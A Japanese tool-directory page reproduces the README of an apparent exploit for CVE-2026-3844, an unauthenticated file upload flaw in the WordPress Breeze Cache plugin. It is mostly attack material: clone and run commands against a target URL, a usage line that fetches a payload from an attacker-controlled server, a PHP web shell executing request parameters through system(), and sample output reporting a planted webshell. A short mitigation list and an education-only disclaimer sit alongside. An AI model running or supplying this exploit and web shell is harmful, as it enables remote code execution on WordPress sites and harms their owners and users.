Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3844 — WordPress - Breeze Cache <= 2.4.4 - 未認証の任意ファイルアップロード | Kitploit
ツール/GitHubGitHub/0xgh057r3c0n/cve-2026-3844
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHub0xgh057r3c0n/cve-2026-3844

CVE-2026-3844

WordPress - Breeze Cache <= 2.4.4 - 未認証の任意ファイルアップロード

リポジトリを見る
1124ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
WordPress Logo

CVE-2026-3844

Breeze Cache ≤ 2.4.4 - 未認証の任意ファイルアップロード

MIT License Python 3.6+ WordPress


⚠️ 免責事項

root@kitploit:~
このツールは教育およびセキュリティ研究目的のみで提供されています。
コンピュータシステムへの不正アクセスは違法です。このツールは、所有しているシステム、
または明示的なテスト許可を得たシステムでのみ使用してください。
作者は、このソフトウェアの誤用または損害について一切の責任を負いません。

📋 説明

CVE-2026-3844 は、WordPress 用 Breeze Cache プラグイン(バージョン ≤ 2.4.4)における重大な未認証の任意ファイルアップロード脆弱性です。このプラグインはコメント内の srcset パラメータを適切に検証しないため、リモートの攻撃者が悪意のあるファイル(ウェブシェルを含む)をサーバーにアップロードできます。

🔴 深刻度

  • CVSS スコア: 9.8(Critical)
  • 攻撃ベクトル: ネットワーク
  • 認証の必要性: 不要
  • 影響: リモートコード実行(RCE)

🎯 影響を受けるバージョン

  • Breeze Cache ≤ 2.4.4
  • WordPress 全バージョン(プラグイン依存)

🔧 技術的詳細

この脆弱性は、Breeze の Gravatar キャッシュ機能を悪用します。特別に細工されたリモートファイル URL を含む srcset パラメータを持つコメントが投稿されると、Breeze はファイルをダウンロードして以下の場所にローカルに保存します:

root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/[random_marker][file_extension]

前提条件: Breeze 設定で「Host Files Locally - Gravatars」オプションが有効になっている必要があります。

🚀 インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/0xgh057r3c0n/CVE-2026-3844.git
cd CVE-2026-3844

# 依存関係をインストール
pip install pycurl termcolor

💻 使用方法

基本的な使用方法

root@kitploit:~
python3 CVE-2026-3844.py -u http://target.com

高度なオプション

root@kitploit:~
# 悪用せずにターゲットが脆弱かどうかを確認
python3 CVE-2026-3844.py -u http://target.com --check-only

# カスタムペイロード URL を使用
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/payload.php

# 出力をファイルに保存
python3 CVE-2026-3844.py -u http://target.com -o shells.txt

# 応答の遅いターゲットのタイムアウトを延長
python3 CVE-2026-3844.py -u http://target.com --timeout 30

コマンドライン引数

引数説明
-u, --urlターゲット URL(必須)
-p, --payloadリモートペイロード URL
--timeoutリクエストタイムアウト(秒)(デフォルト: 15)
--check-onlyターゲットが脆弱かどうかのみ確認
-o, --outputシェル URL をファイルに保存

📝 カスタムペイロードの例

独自のウェブシェル(shell.php)を作成します:

root@kitploit:~
<?php
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
}
?>

アクセス可能な場所にホストし、次を使用します:

root@kitploit:~
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/shell.php

🔍 検証文字列

このエクスプロイトは、アップロードされたファイル内の検証文字列 4356452d323032362d33383434(「CVE-2026-3844」の16進エンコード)を自動的にチェックし、悪用が成功したことを確認します。

🛡️ 緩和策

  1. Breeze Cache をバージョン 2.4.5 以上に更新する
  2. 不要な場合は「Host Files Locally - Gravatars」を無効にする
  3. Web アプリケーションファイアウォール(WAF)ルールを実装する
  4. コメント機能を定期的に監査する

📸 スクリーンショット

root@kitploit:~
[*] PHASE 1: VULNERABILITY ASSESSMENT
[*] Checking Breeze plugin version...
[+] Target VULNERABLE (Breeze v2.4.4)

[*] PHASE 2: EXPLOITATION
[!] REQUIREMENT: 'Host Files Locally - Gravatars' MUST BE ENABLED
[*] Step 1: Sending malicious comment...
[+] Comment posted successfully
[*] Step 2: Waiting for Breeze to cache the file...
[*] Step 3: Checking for uploaded file...
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!

[✓] STATUS: SUCCESS
[✓] WEBSHELL URL: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php

📁 ディレクトリ構造

root@kitploit:~
CVE-2026-3844/
├── CVE-2026-3844.py    # メインのエクスプロイトスクリプト
├── README.md            # このファイル
└── LICENSE              # MIT ライセンス

📄 ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

🙏 クレジット

  • 作者: 0xgh057r3c0n
  • 発見: セキュリティ研究チーム
  • CVE ID: CVE-2026-3844

📞 連絡先

  • GitHub: @0xgh057r3c0n
  • 問題の報告: GitHub Issues

⭐ サポート

このツールが役立つと思われた場合は、GitHub でスター ⭐ を付けてください!


🐍 Python で構築 | 教育目的のみ
ツールをダウンロード